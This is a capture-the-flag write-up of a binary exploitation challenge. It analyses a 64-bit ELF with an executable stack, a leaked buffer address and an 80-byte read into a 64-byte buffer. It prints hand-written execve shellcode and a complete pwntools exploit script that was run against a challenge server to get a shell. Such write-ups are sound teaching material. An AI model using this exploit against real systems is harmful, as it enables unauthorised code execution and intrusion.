HTB - The Hinge Whisper

EasyHackTheBox9 min read

Scenario

The room shouldn't exist. No record in Crownspire's registry places a private library on this floor, no watch schedule accounts for the hour it takes to reach it, and that's exactly why Rin is standing in it now. Dust holds the shape of a desk nobody's touched since before the white fire. Shelves half burned, half intact. In the far wall sits an old strongbox with a hatch built into its face, sealed the way a man seals something he never wants opened again, not by anyone, not even by himself on a better day. Nobody sent Rin here. She came because the under-levels are hers to answer for, and lately every runner who comes back from the southern roads brings the same story: the Quiet Marches are moving, and whatever Alyss intends next, it isn't going to stop at a border. Maelor kept files on things he feared enough to bury, and Rin is betting that a girl who should have died in one of his purges made that list. If there's a way to know what's coming before it reaches her people, it's behind this hatch. One lock stands between her and an answer, and she means to have it before the watch changes.


Enumeration

I start by examining the binary type and compiled security protection using file and checksec.

bash
file the_hinge_whisper
the_hinge_whisper: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5c9da03ab7d1ba6428268efa73d1d6e650befb5f, for GNU/Linux 3.2.0, not stripped
  • Architecture: 64-bit x86_64 Little-Endian LSB.
  • Symbols: Not stripped (function names like main, service_hatch, and banner remain intact).
bash
python3 -c "from pwn import ELF; ELF('./the_hinge_whisper').checksec()"
[*] '/home/zor0ark/Documents/HTB/CyberApocalyps2026/pwn/hinge_whisper/the_hinge_whisper'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Key Security Implications:

  1. Executable Stack (Stack: Executable / No NX Protection): Due to a missing GNU_STACK ELF program header, stack memory is marked with Read/Write/Execute (RWX) permissions. If we can divert control flow to data we provide on the stack, the CPU will execute our input directly as shellcode.
  2. No Stack Canary: There are no stack protector cookies (canaries) verifying stack integrity before function returns. We can continuously write past local buffer boundaries to overwrite saved pointers without triggering an abort.
  3. PIE Enabled: Position Independent Executable is active, meaning binary code locations and libc addresses are randomized by ASLR. However, as demonstrated in our analysis below, a deliberate address leak inside the binary renders PIE harmless to our attack path.

Reverse Engineering & Code Analysis

Using objdump, readelf, and static analysis techniques, we examine the behavior of the challenge symbols.

Symbol Tree Overview

Using readelf -Ws the_hinge_whisper reveals three custom application functions:

  • banner at offset 0x11c9
  • service_hatch at offset 0x11e3
  • main at offset 0x1246

Disassembly & Pseudocode Reconstruction

main Function (0x1246)

assembly
1246:   55                      push   rbp
1247:   48 89 e5                mov    rbp,rsp
...
1267:   e8 64 fe ff ff          call   10d0 <setvbuf@plt>   ; Disable stdout buffer
...
1285:   e8 46 fe ff ff          call   10d0 <setvbuf@plt>   ; Disable stdin buffer
128a:   e8 3a ff ff ff          call   11c9 <banner>        ; Print challenge flavor text
128f:   e8 4f ff ff ff          call   11e3 <service_hatch> ; Core challenge vulnerability
1294:   ...                                                 ; Prints concluding lock click

main configures unbuffered I/O streams (stdin and stdout), calls banner() to display lore ASCII art, invokes service_hatch(), and finally prints an ending string if the hatch finishes without intervention.

service_hatch Function (0x11e3)

Here is the core disassembly of the vulnerable procedure:

assembly
11eb:   48 83 ec 40             sub    rsp,0x40                   ; Allocate 64-byte local stack buffer
11ef:   48 8d 45 c0             lea    rax,[rbp-0x40]             ; Load pointer to buffer start (&buffer)
11f3:   48 89 c6                mov    rsi,rax                    ; Pass buffer pointer as 2nd argument (rsi)
11f6:   48 8d 05 f8 0f 00 00    lea    rax,[rip+0xff8]            ; Load string: "  [+] The keyway sits at: %p\n"
11fd:   48 89 c7                mov    rdi,rax                    ; Pass format string as 1st argument (rdi)
1200:   b8 00 00 00 00          mov    eax,0x0
1205:   e8 96 fe ff ff          call   10a0 <printf@plt>          ; LEAK BUFFER MEMORY ADDRESS!
120a:   48 8d 05 02 10 00 00    lea    rax,[rip+0x1002]           ; Load string: "  [+] Forge your latch-key: "
1211:   48 89 c7                mov    rdi,rax
1214:   b8 00 00 00 00          mov    eax,0x0
1219:   e8 82 fe ff ff          call   10a0 <printf@plt>
...
122d:   48 8d 45 c0             lea    rax,[rbp-0x40]             ; Load pointer to buffer start (&buffer)
1231:   ba 50 00 00 00          mov    edx,0x50                   ; Length parameter: 0x50 bytes (80 bytes)
1236:   48 89 c6                mov    rsi,rax                    ; Buffer pointer argument
1239:   bf 00 00 00 00          mov    edi,0x0                    ; stdin file descriptor (0)
123e:   e8 6d fe ff ff          call   10b0 <read@plt>            ; BUFFER OVERFLOW!
1244:   c9                      leave
1245:   c3                      ret

Translated into high-level C code:

c
void service_hatch() {
    char buffer[64]; // [rbp - 0x40]
    
    printf("  [+] The keyway sits at: %p\n", buffer);
    printf("  [+] Forge your latch-key: ");
    fflush(stdout);
    
    read(STDIN_FILENO, buffer, 80); // Vulnerability: Reading 80 bytes into 64-byte array
}

Vulnerability Analysis

The function exhibits two interconnected vulnerabilities that make achieving arbitrary shell code execution straightforward:

  1. Information Disclosure (Stack Pointer Leak): By printing %p targeting &buffer (rbp - 0x40), the binary explicitly tells us the exact randomized virtual memory address of the stack buffer for the current execution instance. This breaks Address Space Layout Randomization (ASLR).
  2. Stack Buffer Overflow: The allocated array size is only 0x40 (64 bytes), but the subsequent call to read() accepts up to 0x50 (80 bytes). Because the stack lacks canaries, writing past byte 64 immediately overwrites stack maintenance registers.

Stack Frame Layout

By providing a payload of exactly 64 + 8 + 8 = 80 bytes, we gain full control over the saved instruction pointer (RIP).


Exploitation

Why This Attack Vector Works

  1. When service_hatch() finishes execution and calls ret (1245: c3), the CPU pops the top 8 bytes from the stack (at offset 72) and redirects instruction execution to that memory address.
  2. We replace this return address with the leaked stack address captured from printf.
  3. Because the ELF lacks NX bit enforcement (Stack: Executable), when the CPU jumps into the stack buffer, it treats our supplied bytes as instructions instead of data, immediately executing our shellcode.

Shellcode Design: Avoiding Self-Corruption on Return

A subtle consideration when deploying shellcode on small stack frames is the interaction between stack pointer pushes and instruction execution:

  • At the exact moment ret redirects control flow into our buffer (offset 0), the stack pointer (RSP) has just popped the return address and sits at offset 80 (rbp + 0x10).
  • Because x86_64 stacks grow downward (from higher memory addresses toward lower ones), execution of assembly instruction patterns that push arguments (e.g., standard push 0x6873... strings for /bin/sh) decrements RSP back down toward our active payload.
  • Standard long generator shellcodes (such as shellcraft.sh() at 48 bytes) perform multiple pushes that can dip down below offset 48, causing instructions to overwrite parts of themselves before execution finishes!

Solution: Compact 24-byte x64 Shellcode

To ensure zero possibility of stack collision and self-corruption, we implement a concise 24-byte custom x86_64 assembly shellcode invoking execve("/bin//sh", NULL, NULL):

assembly
xor esi, esi                   ; RSI = 0 (argv = NULL)
push rsi                       ; Push null string terminator '\x00\x00\x00\x00\x00\x00\x00\x00' (RSP -> offset 72)
mov rbx, 0x68732f2f6e69622f    ; RBX = "/bin//sh" (little-endian representation with extra slash for 8-byte alignment)
push rbx                       ; Push string "/bin//sh" onto stack (RSP -> offset 64)
mov rdi, rsp                   ; RDI points to RSP (filename = "/bin//sh")
xor edx, edx                   ; RDX = 0 (envp = NULL)
push 0x3b                      ; SYS_execve syscall number (59 in decimal, 0x3b in hex)
pop rax                        ; RAX = 0x3b
syscall                        ; Trigger kernel execve syscall!

Why this failsafe works: The 24-byte payload occupies bytes 0 to 24 of our buffer. The two push operations only drop RSP from byte 80 down to 64. That leaves a clean 40-byte separation gap (padded with NOP instructions 0x90) ensuring our executing instructions remain completely isolated from stack writes.


Exploit Script

Below is the annotated Python exploit script exploit.py utilizing pwntools:

python
#!/usr/bin/env python3
import sys
from pwn import *

# Configure binary target details
context.binary = elf = ELF('./the_hinge_whisper', checksec=False)
context.arch = 'amd64'
context.os = 'linux'

def main():
    # Dynamic target resolution: handles remote IP:Port or local simulation
    if len(sys.argv) == 2 and ':' in sys.argv[1]:
        host, port = sys.argv[1].split(':')
        io = remote(host, int(port))
    elif len(sys.argv) > 2:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        log.info("Running locally against binary...")
        io = process('./the_hinge_whisper')

    # 1. Parse the leaked buffer memory address
    # Output pattern: "  [+] The keyway sits at: 0x7ffc..."
    io.recvuntil(b"The keyway sits at: ")
    leak_line = io.recvline().strip()
    buffer_addr = int(leak_line, 16)
    log.success(f"Leaked stack buffer address: {hex(buffer_addr)}")

    # 2. Synchronize up to user input prompt
    io.recvuntil(b"Forge your latch-key: ")

    # 3. Assemble custom compact 24-byte /bin/sh execve shellcode
    shellcode = asm("""
        xor esi, esi
        push rsi
        mov rbx, 0x68732f2f6e69622f
        push rbx
        mov rdi, rsp
        xor edx, edx
        push SYS_execve
        pop rax
        syscall
    """)

    # 4. Construct Exploit Payload:
    # - Place shellcode at start of buffer (Offset 0)
    # - Pad with NOP sled (0x90) up to Offset 72 (64b buffer + 8b RBP)
    # - Overwrite saved RIP (8 bytes) at Offset 72 with leaked buffer_addr
    payload = shellcode.ljust(72, b'\x90') + p64(buffer_addr)
    
    log.info(f"Sending exploit payload ({len(payload)} bytes)...")
    io.send(payload)

    # 5. Transition to interactive shell interaction
    io.interactive()

if __name__ == '__main__':
    main()

Execution

Running the exploit against the challenge server successfully abuses the executable stack and retrieves an interactive system shell to capture the flag:

bash
python3 exploit.py 154.57.164.77:30867
[+] Opening connection to 154.57.164.77 on port 30867: Done
[+] Leaked stack buffer address: 0x7ffc9974e900
[*] Sending exploit payload (80 bytes)...
[*] Switching to interactive mode
$ ls
flag.txt
the_hinge_whisper
$ cat flag.txt
HTB{[REDACTED]}

Conclusion

"The Hinge Whisper" serves as an excellent foundational exercise in classic stack-based binary exploitation. While the binary was protected by Position Independent Executable (PIE), the intentional memory leak of the buffer's address completely negated this mitigation, providing a reliable and direct target for our hijacked instruction pointer.

Key Takeaways:

  • Information Disclosure is Fatal: The deliberate %p format string leak of the stack pointer demonstrated how a single verbosity error can entirely compromise ASLR and PIE protections.
  • Stack Dynamics Matter: The core hurdle was not just hijacking control flow, but understanding exactly how the stack pointer (RSP) behaves during and immediately after a ret instruction. Recognizing the potential for self-corrupting shellcode on a small stack frame was critical to a successful exploit.
  • Payload Optimization: Bypassing the self-corruption issue required discarding standard, bulky shellcode generators in favor of a tightly written, 24-byte custom x86_64 assembly payload that maintained a safe distance from active stack operations.

By successfully forging the digital latch-key and exploiting the memory layout, we gained an interactive shell, bypassed the unique hatch lock, and secured the flag. With this obstacle cleared, Rin is now one step closer to uncovering the rest of Maelor's hidden secrets within the undocumented room.